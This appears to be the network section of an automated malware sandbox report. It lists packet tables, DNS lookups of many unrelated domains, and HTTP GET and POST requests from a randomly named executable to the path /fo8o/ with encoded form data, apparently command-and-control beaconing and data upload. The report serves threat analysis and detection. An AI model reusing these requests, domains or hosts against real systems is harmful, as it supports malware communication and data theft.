Aug 2, 2024 13:54:12.650914907 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:13.348253965 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:13.348283052 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:13.348309040 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:13.348334074 CEST	80	64520	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:13.348335028 CEST	64520	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:13.348428965 CEST	64520	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:14.150568008 CEST	64520	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:15.169437885 CEST	64521	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:15.177263021 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.177512884 CEST	64521	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:15.179466009 CEST	64521	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:15.184546947 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.184575081 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.888492107 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.888547897 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.888554096 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.888559103 CEST	80	64521	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:15.888614893 CEST	64521	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:16.681778908 CEST	64521	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:17.700731993 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:17.706990957 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:17.708058119 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:17.711461067 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:17.719777107 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417612076 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417706013 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417717934 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417776108 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417787075 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417799950 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417841911 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:18.417864084 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417879105 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417890072 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:18.417891979 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417902946 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:18.417921066 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:18.417942047 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:18.423356056 CEST	64522	80	192.168.2.6	194.67.71.191
Aug 2, 2024 13:54:18.428190947 CEST	80	64522	194.67.71.191	192.168.2.6
Aug 2, 2024 13:54:26.490597010 CEST	64523	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:54:26.495645046 CEST	80	64523	154.215.72.110	192.168.2.6
Aug 2, 2024 13:54:26.495708942 CEST	64523	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:54:26.497638941 CEST	64523	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:54:26.502443075 CEST	80	64523	154.215.72.110	192.168.2.6
Aug 2, 2024 13:54:27.402843952 CEST	80	64523	154.215.72.110	192.168.2.6
Aug 2, 2024 13:54:27.402904987 CEST	80	64523	154.215.72.110	192.168.2.6
Aug 2, 2024 13:54:27.403002977 CEST	64523	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:54:27.405644894 CEST	64523	80	192.168.2.6	154.215.72.110
Aug 2, 2024 13:54:27.410511971 CEST	80	64523	154.215.72.110	192.168.2.6
Aug 2, 2024 13:54:34.200560093 CEST	64524	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:54:34.207166910 CEST	80	64524	52.25.92.0	192.168.2.6
Aug 2, 2024 13:54:34.207285881 CEST	64524	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:54:34.209228039 CEST	64524	80	192.168.2.6	52.25.92.0
Aug 2, 2024 13:54:34.214245081 CEST	80	64524	52.25.92.0	192.168.2.6
Aug 2, 2024 13:54:34.837361097 CEST	80	64524	52.25.92.0	192.168.2.6
Aug 2, 2024 13:54:34.837378025 CEST	80	64524	52.25.92.0	192.168.2.6
Aug 2, 2024 13:54:34.837398052 CEST	80	64524	52.25.92.0	192.168.2.6
Aug 2, 2024 13:54:34.837697029 CEST	64524	80	192.168.2.6	52.25.92.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 2, 2024 13:50:51.228025913 CEST	53768	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:50:52.212675095 CEST	53768	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:50:52.785023928 CEST	53	53768	1.1.1.1	192.168.2.6
Aug 2, 2024 13:50:52.785034895 CEST	53	53768	1.1.1.1	192.168.2.6
Aug 2, 2024 13:51:07.858867884 CEST	51386	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:51:08.196863890 CEST	53	51386	1.1.1.1	192.168.2.6
Aug 2, 2024 13:51:21.685153008 CEST	59017	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:51:22.053474903 CEST	53	59017	1.1.1.1	192.168.2.6
Aug 2, 2024 13:51:35.614331961 CEST	51670	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:51:35.631979942 CEST	53	51670	1.1.1.1	192.168.2.6
Aug 2, 2024 13:51:48.920150042 CEST	56071	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:51:49.045622110 CEST	53	56071	1.1.1.1	192.168.2.6
Aug 2, 2024 13:52:02.436141968 CEST	55606	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:52:02.454740047 CEST	53	55606	1.1.1.1	192.168.2.6
Aug 2, 2024 13:52:16.201751947 CEST	50876	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:52:16.450155020 CEST	53	50876	1.1.1.1	192.168.2.6
Aug 2, 2024 13:52:30.108503103 CEST	51885	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:52:30.141890049 CEST	53	51885	1.1.1.1	192.168.2.6
Aug 2, 2024 13:52:43.451426983 CEST	60277	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:52:43.534775972 CEST	53	60277	1.1.1.1	192.168.2.6
Aug 2, 2024 13:52:56.889158010 CEST	49976	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:52:57.395076036 CEST	53	49976	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:10.514247894 CEST	63680	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:10.867156982 CEST	53	63680	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:18.937091112 CEST	52158	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:19.009939909 CEST	53	52158	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:32.280333996 CEST	58934	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:33.279695034 CEST	58934	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:33.287067890 CEST	53	58934	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:38.144359112 CEST	53	58934	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:48.451680899 CEST	50132	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:48.486113071 CEST	53	50132	1.1.1.1	192.168.2.6
Aug 2, 2024 13:53:56.545798063 CEST	52447	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:53:56.761606932 CEST	53	52447	1.1.1.1	192.168.2.6
Aug 2, 2024 13:54:09.936032057 CEST	65070	53	192.168.2.6	1.1.1.1
Aug 2, 2024 13:54:10.101701021 CEST	53	65070	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 2, 2024 13:50:51.228025913 CEST	192.168.2.6	1.1.1.1	0xae89	Standard query (0)	www.3xfootball.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:50:52.212675095 CEST	192.168.2.6	1.1.1.1	0xae89	Standard query (0)	www.3xfootball.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:07.858867884 CEST	192.168.2.6	1.1.1.1	0xa978	Standard query (0)	www.kasegitai.tokyo	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:21.685153008 CEST	192.168.2.6	1.1.1.1	0x13e5	Standard query (0)	www.goldenjade-travel.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:35.614331961 CEST	192.168.2.6	1.1.1.1	0x187a	Standard query (0)	www.antonio-vivaldi.mobi	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:48.920150042 CEST	192.168.2.6	1.1.1.1	0x7d28	Standard query (0)	www.magmadokum.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:02.436141968 CEST	192.168.2.6	1.1.1.1	0xd926	Standard query (0)	www.rssnewscast.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:16.201751947 CEST	192.168.2.6	1.1.1.1	0x6195	Standard query (0)	www.liangyuen528.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:30.108503103 CEST	192.168.2.6	1.1.1.1	0xc896	Standard query (0)	www.techchains.info	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:43.451426983 CEST	192.168.2.6	1.1.1.1	0x5b6b	Standard query (0)	www.elettrosistemista.zip	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:56.889158010 CEST	192.168.2.6	1.1.1.1	0xd3ad	Standard query (0)	www.donnavariedades.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:10.514247894 CEST	192.168.2.6	1.1.1.1	0xeb50	Standard query (0)	www.660danm.top	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:18.937091112 CEST	192.168.2.6	1.1.1.1	0x5be2	Standard query (0)	www.empowermedeco.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:32.280333996 CEST	192.168.2.6	1.1.1.1	0xc72b	Standard query (0)	www.joyesi.xyz	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:33.279695034 CEST	192.168.2.6	1.1.1.1	0xc72b	Standard query (0)	www.joyesi.xyz	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:48.451680899 CEST	192.168.2.6	1.1.1.1	0xe89c	Standard query (0)	www.k9vyp11no3.cfd	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:56.545798063 CEST	192.168.2.6	1.1.1.1	0x9045	Standard query (0)	www.shenzhoucui.com	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:54:09.936032057 CEST	192.168.2.6	1.1.1.1	0x273a	Standard query (0)	www.b301.space	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 2, 2024 13:50:52.785023928 CEST	1.1.1.1	192.168.2.6	0xae89	No error (0)	www.3xfootball.com		154.215.72.110	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:50:52.785034895 CEST	1.1.1.1	192.168.2.6	0xae89	No error (0)	www.3xfootball.com		154.215.72.110	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:08.196863890 CEST	1.1.1.1	192.168.2.6	0xa978	No error (0)	www.kasegitai.tokyo		52.25.92.0	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:22.053474903 CEST	1.1.1.1	192.168.2.6	0x13e5	No error (0)	www.goldenjade-travel.com		116.50.37.244	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:35.631979942 CEST	1.1.1.1	192.168.2.6	0x187a	No error (0)	www.antonio-vivaldi.mobi		46.30.211.38	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:51:49.045622110 CEST	1.1.1.1	192.168.2.6	0x7d28	No error (0)	www.magmadokum.com	redirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2024 13:51:49.045622110 CEST	1.1.1.1	192.168.2.6	0x7d28	No error (0)	redirect.natrocdn.com	natroredirect.natrocdn.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2024 13:51:49.045622110 CEST	1.1.1.1	192.168.2.6	0x7d28	No error (0)	natroredirect.natrocdn.com		85.159.66.93	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:02.454740047 CEST	1.1.1.1	192.168.2.6	0xd926	No error (0)	www.rssnewscast.com		91.195.240.94	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:16.450155020 CEST	1.1.1.1	192.168.2.6	0x6195	No error (0)	www.liangyuen528.com		15.197.172.60	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:30.141890049 CEST	1.1.1.1	192.168.2.6	0xc896	No error (0)	www.techchains.info		66.29.149.46	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:43.534775972 CEST	1.1.1.1	192.168.2.6	0x5b6b	No error (0)	www.elettrosistemista.zip	elettrosistemista.zip		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2024 13:52:43.534775972 CEST	1.1.1.1	192.168.2.6	0x5b6b	No error (0)	elettrosistemista.zip		195.110.124.133	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:52:57.395076036 CEST	1.1.1.1	192.168.2.6	0xd3ad	No error (0)	www.donnavariedades.com		15.197.240.20	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:10.867156982 CEST	1.1.1.1	192.168.2.6	0xeb50	Name error (3)	www.660danm.top	none	none	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:19.009939909 CEST	1.1.1.1	192.168.2.6	0x5be2	No error (0)	www.empowermedeco.com	empowermedeco.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 2, 2024 13:53:19.009939909 CEST	1.1.1.1	192.168.2.6	0x5be2	No error (0)	empowermedeco.com		217.196.55.202	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:38.144359112 CEST	1.1.1.1	192.168.2.6	0xc72b	Server failure (2)	www.joyesi.xyz	none	none	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:48.486113071 CEST	1.1.1.1	192.168.2.6	0xe89c	Name error (3)	www.k9vyp11no3.cfd	none	none	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:53:56.761606932 CEST	1.1.1.1	192.168.2.6	0x9045	No error (0)	www.shenzhoucui.com		72.52.178.23	A (IP address)	IN (0x0001)	false
Aug 2, 2024 13:54:10.101701021 CEST	1.1.1.1	192.168.2.6	0x273a	No error (0)	www.b301.space		194.67.71.191	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.3xfootball.com

www.kasegitai.tokyo

www.goldenjade-travel.com

www.antonio-vivaldi.mobi

www.magmadokum.com

www.rssnewscast.com

www.liangyuen528.com

www.techchains.info

www.elettrosistemista.zip

www.donnavariedades.com

www.empowermedeco.com

www.joyesi.xyz

www.shenzhoucui.com

www.b301.space

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49720	154.215.72.110	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:50:52.805896044 CEST	525	OUT	GET /fo8o/?Ixe=Apq4tPPXNdTp2&blWd=IhZyPQIGe6uK3zP3twZWsYVeSSeNS0ZlW2eS79Xk6ut4afzj0LiRBEeFtQixSzG192fRs1GD25A478p7nOOnyIi7V/S5J9AzlXPHqpluzE36hxZsh30r8poflPmNwlfmk35jvL8= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Host: www.3xfootball.com Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49723	52.25.92.0	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:08.206670046 CEST	786	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.kasegitai.tokyo Origin: http://www.kasegitai.tokyo Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 209 Referer: http://www.kasegitai.tokyo/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 35 4a 6c 4b 4c 7a 61 4b 56 70 31 77 4a 5a 76 70 77 56 49 68 75 42 43 58 53 48 62 6c 32 71 6c 5a 2b 79 49 57 5a 2b 61 46 2f 2f 42 72 6b 77 51 5a 6d 6c 71 64 38 54 35 32 76 54 57 45 67 77 41 56 68 42 38 69 6e 33 6f 45 74 35 2f 53 55 34 79 6d 76 43 4e 39 73 66 79 73 79 67 68 45 77 5a 4f 31 47 62 49 4d 4c 67 45 53 42 69 78 58 65 77 45 46 2f 33 64 62 2b 4f 4f 6c 58 45 70 6a 39 6f 58 75 59 57 54 43 67 42 68 32 50 37 39 7a 47 73 76 43 58 68 7a 62 50 30 42 39 74 70 48 4a 50 4e 6d 66 66 33 4f 6a 34 68 39 38 78 6f 45 48 42 33 45 74 49 7a 2f 63 65 67 36 4e 67 68 4d 58 57 72 64 61 4a 39 74 62 66 31 64 53 36 4e 39 38 Data Ascii: blWd=5JlKLzaKVp1wJZvpwVIhuBCXSHbl2qlZ+yIWZ+aF//BrkwQZmlqd8T52vTWEgwAVhB8in3oEt5/SU4ymvCN9sfysyghEwZO1GbIMLgESBixXewEF/3db+OOlXEpj9oXuYWTCgBh2P79zGsvCXhzbP0B9tpHJPNmff3Oj4h98xoEHB3EtIz/ceg6NghMXWrdaJ9tbf1dS6N98
Aug 2, 2024 13:51:08.821131945 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:51:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 38 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 ff 73 13 c7 15 ff 59 fe 2b 96 9b 0e 27 25 a7 3b db 80 6b 6c 9d 18 08 38 d0 42 48 8b 33 6d c7 e3 61 56 ba d5 dd da 7b b7 e2 6e 25 59 31 cc f8 4e 84 f2 2d 85 36 2d 9d 90 74 12 1a 9a b4 74 06 3a 0d ed b4 c1 0d ff 4b 17 19 f8 89 7f a1 6f ef 24 eb 8b 4d 48 a6 f9 c1 a7 db dd b7 9f f7 de e7 bd dd 7b cf 13 a5 3d 0e af 8a 76 9d 20 4f f8 ac 3c 51 52 3f 88 e1 c0 b5 b5 95 ba a6 26 08 76 ca 13 b9 92 4f 04 46 55 0f 87 11 11 b6 f6 ce e2 42 71 56 db 9e 0f b0 4f 6c ad 49 49 ab ce 43 a1 a1 2a 0f 04 09 40 ae 45 1d e1 d9 0e 69 d2 2a 29 a6 03 03 d1 80 0a 8a 59 31 aa 62 46 ec 29 03 f9 78 8d fa 0d 7f 30 d1 88 48 98 8e 70 05 26 02 9e 2a 12 54 30 52 de 3f b9 0f 2d f0 b0 42 1d 87 04 25 2b 9b 84 55 46 83 55 14 12 66 6b 91 68 33 12 79 84 80 1d ca 33 5b 13 64 4d 58 d5 28 d2 90 17 92 9a ad 59 a9 88 a9 66 d4 d6 3d c5 e2 b0 17 21 af 70 11 0d f9 10 70 1a 38 64 4d 43 56 b9 58 ec 6d 58 a2 35 e4 0a 82 4e 1c 43 07 97 d5 5c 0a 39 ae 0f 16 72 a6 1b 62 87 02 10 5a 87 51 ae 46 99 20 e1 1c [TRUNCATED] Data Ascii: 831XsY+'%;kl8BH3maV{n%Y1N-6-tt:Ko$MH{=v O<QR?&vOFUBqVOlIIC@Ei)Y1bF)x0Hp&T0R?-B%+UFUfkh3y3[dMX(Yf=!pp8dMCVXmX5NC\9rbZQF x@aIH)Bor"v)`(".Z#\|p`-/->7HK" M0v.\&Qv1F\|X\|TX\6&r+ Pd`p>${t}~Q;"lDahZfVf!}a5CPwIHqxH+F_([AjCfy1dxx0q(EX,%+;&i.UFUWW+&m>l(KH 2V;M<B]\|RCYUoi>C:4W4hy%+3^f(kVkJ:%]^i'(t@<853;;;GMuBjpUww7y`02!@>vn(R"J41Nz)hOoWT>~S$+RlIogQ)[qLR\ md@nsEv\|)O/^=(7R%,s\|!; [TRUNCATED]
Aug 2, 2024 13:51:08.821152925 CEST	1078	IN	Data Raw: 75 0b b6 3d d8 35 d6 c0 4c 83 14 1d 0e 11 0c d2 4c f5 b9 83 19 33 eb 5e 7d 67 08 d3 eb 3d e0 35 ce 18 6f 81 67 f1 07 32 06 fb ae c8 f8 1a 3c bb 77 af 6c 7d f4 50 76 1e c1 73 eb d6 df 54 1c 64 f2 9b 67 77 ae cb f8 33 19 7f 2e e3 1b 32 fe 54 c6 bf Data Ascii: u=5LL3^}g=5og2<wl}PvsTdgw3.2TEeu__0(:V!qFT8&][' gnl0q!^]gVY9,o]y[O[E2$.2RP!z2y G2C2RKR;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49724	52.25.92.0	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
Aug 2, 2024 13:51:10.737643957 CEST	810	OUT	POST /fo8o/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en Accept-Encoding: gzip, deflate, br Host: www.kasegitai.tokyo Origin: http://www.kasegitai.tokyo Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 233 Referer: http://www.kasegitai.tokyo/fo8o/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2) Data Raw: 62 6c 57 64 3d 35 4a 6c 4b 4c 7a 61 4b 56 70 31 77 49 38 6e 70 39 55 49 68 6c 42 43 51 64 6e 62 6c 39 4b 6c 56 2b 79 55 57 5a 2f 75 56 2f 4b 5a 72 6c 52 67 5a 6e 67 57 64 73 44 35 32 6e 7a 57 4c 39 67 41 53 68 42 78 56 6e 79 51 45 74 35 72 53 55 34 69 6d 36 6c 68 38 71 66 79 69 6e 77 68 47 74 4a 4f 31 47 62 49 4d 4c 68 67 6f 42 69 70 58 65 67 55 46 2b 53 68 63 32 75 4f 6d 57 45 70 6a 35 6f 58 71 59 57 53 79 67 41 74 4d 50 2b 68 7a 47 74 66 43 58 30 50 61 42 45 41 32 67 4a 48 61 44 4f 48 6d 52 31 50 77 32 41 35 34 68 4a 59 2f 45 42 46 33 55 41 2f 2f 4d 77 61 50 67 6a 55 6c 57 4c 64 77 4c 39 56 62 4e 69 52 31 31 35 59 66 6a 57 6e 42 41 63 64 55 44 72 35 61 41 7a 63 56 2f 4b 33 69 4f 77 3d 3d Data Ascii: blWd=5JlKLzaKVp1wI8np9UIhlBCQdnbl9KlV+yUWZ/uV/KZrlRgZngWdsD52nzWL9gAShBxVnyQEt5rSU4im6lh8qfyinwhGtJO1GbIMLhgoBipXegUF+Shc2uOmWEpj5oXqYWSygAtMP+hzGtfCX0PaBEA2gJHaDOHmR1Pw2A54hJY/EBF3UA//MwaPgjUlWLdwL9VbNiR115YfjWnBAcdUDr5aAzcV/K3iOw==
Aug 2, 2024 13:51:11.366204977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 02 Aug 2024 11:51:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 38 33 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 58 ff 73 13 c7 15 ff 59 fe 2b 96 9b 0e 27 25 a7 3b db 80 6b 6c 9d 18 08 38 d0 42 48 8b 33 6d c7 e3 61 56 ba d5 dd da 7b b7 e2 6e 25 59 31 cc f8 4e 84 f2 2d 85 36 2d 9d 90 74 12 1a 9a b4 74 06 3a 0d ed b4 c1 0d ff 4b 17 19 f8 89 7f a1 6f ef 24 eb 8b 4d 48 a6 f9 c1 a7 db dd b7 9f f7 de e7 bd dd 7b cf 13 a5 3d 0e af 8a 76 9d 20 4f f8 ac 3c 51 52 3f 88 e1 c0 b5 b5 95 ba a6 26 08 76 ca 13 b9 92 4f 04 46 55 0f 87 11 11 b6 f6 ce e2 42 71 56 db 9e 0f b0 4f 6c ad 49 49 ab ce 43 a1 a1 2a 0f 04 09 40 ae 45 1d e1 d9 0e 69 d2 2a 29 a6 03 03 d1 80 0a 8a 59 31 aa 62 46 ec 29 03 f9 78 8d fa 0d 7f 30 d1 88 48 98 8e 70 05 26 02 9e 2a 12 54 30 52 de 3f b9 0f 2d f0 b0 42 1d 87 04 25 2b 9b 84 55 46 83 55 14 12 66 6b 91 68 33 12 79 84 80 1d ca 33 5b 13 64 4d 58 d5 28 d2 90 17 92 9a ad 59 a9 88 a9 66 d4 d6 3d c5 e2 b0 17 21 af 70 11 0d f9 10 70 1a 38 64 4d 43 56 b9 58 ec 6d 58 a2 35 e4 0a 82 4e 1c 43 07 97 d5 5c 0a 39 ae 0f 16 72 a6 1b 62 87 02 10 5a 87 51 ae 46 99 20 e1 1c [TRUNCATED] Data Ascii: 831XsY+'%;kl8BH3maV{n%Y1N-6-tt:Ko$MH{=v O<QR?&vOFUBqVOlIIC@Ei)Y1bF)x0Hp&T0R?-B%+UFUfkh3y3[dMX(Yf=!pp8dMCVXmX5NC\9rbZQF x@aIH)Bor"v)`(".Z#\|p`-/->7HK" M0v.\&Qv1F\|X\|TX\6&r+ Pd`p>${t}~Q;"lDahZfVf!}a5CPwIHqxH+F_([AjCfy1dxx0q(EX,%+;&i.UFUWW+&m>l(KH 2V;M<B]\|RCYUoi>C:4W4hy%+3^f(kVkJ:%]^i'(t@<853;;;GMuBjpUww7y`02!@>vn(R"J41Nz)hOoWT>~S$+RlIogQ)[qLR\ md@nsEv\|)O/^=(7R%,s\|!; [TRUNCATED]
Aug 2, 2024 13:51:11.366221905 CEST	1078	IN	Data Raw: 75 0b b6 3d d8 35 d6 c0 4c 83 14 1d 0e 11 0c d2 4c f5 b9 83 19 33 eb 5e 7d 67 08 d3 eb 3d e0 35 ce 18 6f 81 67 f1 07 32 06 fb ae c8 f8 1a 3c bb 77 af 6c 7d f4 50 76 1e c1 73 eb d6 df 54 1c 64 f2 9b 67 77 ae cb f8 33 19 7f 2e e3 1b 32 fe 54 c6 bf Data Ascii: u=5LL3^}g=5og2<wl}PvsTdgw3.2TEeu__0(:V!qFT8&][' gnl0q!^]gVY9,o]y[O[E2$.2RP!z2y G2C2RKR;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49725	52.25.92.0	80	5700	C:\Program Files (x86)\RjSlMTBtHFecsSmiWeXYnJopCqRthksFajZLjFLeKxwnWhBybNWDWOPmMKvpPtfQ\WOaBXdWwIJKzuV.exe

Timestamp	Bytes transferred	Direction	Data
